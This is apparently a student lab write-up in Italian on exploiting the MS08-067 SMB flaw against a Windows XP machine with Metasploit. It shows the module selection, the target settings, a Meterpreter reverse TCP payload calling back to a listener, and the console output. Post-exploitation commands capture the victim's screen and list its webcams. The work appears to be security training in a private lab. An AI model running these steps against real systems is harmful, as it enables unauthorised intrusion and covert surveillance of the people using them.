

# Pratica S7/L3

## Traccia:

- Sfruttare la vulnerabilità di MS08-067 per Windows XP

Strumento utilizzati :

- Msfconsole

Obiettivo :

- Recuperare uno screenshot tramite la sessione Meterpreter.
- Individuare la presenza o meno di Webcam sulla macchina Windows XP (opzionale).

### 1) MS08-067

Per utilizzare questo servizio dobbiamo cercare la funzione ms08-067

```
msf6 > search MS08-067

Matching Modules
=====
#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  exploit/windows/smb/ms08_067_netapi      2008-10-28      great Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi

msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

  Name      Current Setting  Required  Description
  ----      -
  RHOSTS    yes             The target host(s), see https://docs.m
  tasptloit.com/docs/using-metasploit/basi
  cs/using-metasploit.html
  RPORT     445             The SMB service port (TCP)
  SMBPIPE   BROWSER         yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thr
  ead, process, none)
  LHOST     192.168.32.100  yes       The listen address (an interface may b
  e specified)
  LPORT     4444            yes       The listen port
```

Una volta trovato con il comando :

use exploit/windows/smb/ms08\_067\_netapi

Lo possiamo utilizzarlo e per vedere gli requisiti da inserire :

show options

```
msf6 exploit(windows/smb/ms08_067_netapi) > set rhosts 192.168.32.104
rhosts => 192.168.32.104
msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

  Name      Current Setting  Required  Description
  ----      -
  RHOSTS    192.168.32.104  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     445              yes       The SMB service port (TCP)
  SMBPIPE   BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     192.168.32.100  yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  -
  0    Automatic Targeting

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.32.100:4444
[-] 192.168.32.104:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (192.168.32.104:445) was unreachable.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/ms08_067_netapi) > set rhosts 192.168.32.103
rhosts => 192.168.32.103
msf6 exploit(windows/smb/ms08_067_netapi) > exploit
```

Dopo aver settato gli requisiti (cioè settare rhosts in 192.168.32.104 ) possiamo far avviare il servizio



una volta dentro con il comando :

load espia

screengrab

riusciamo a screenare lo schermo della macchina vittima e con il comando webcam\_list per visualizzare gli eventuali videocamere da utilizzare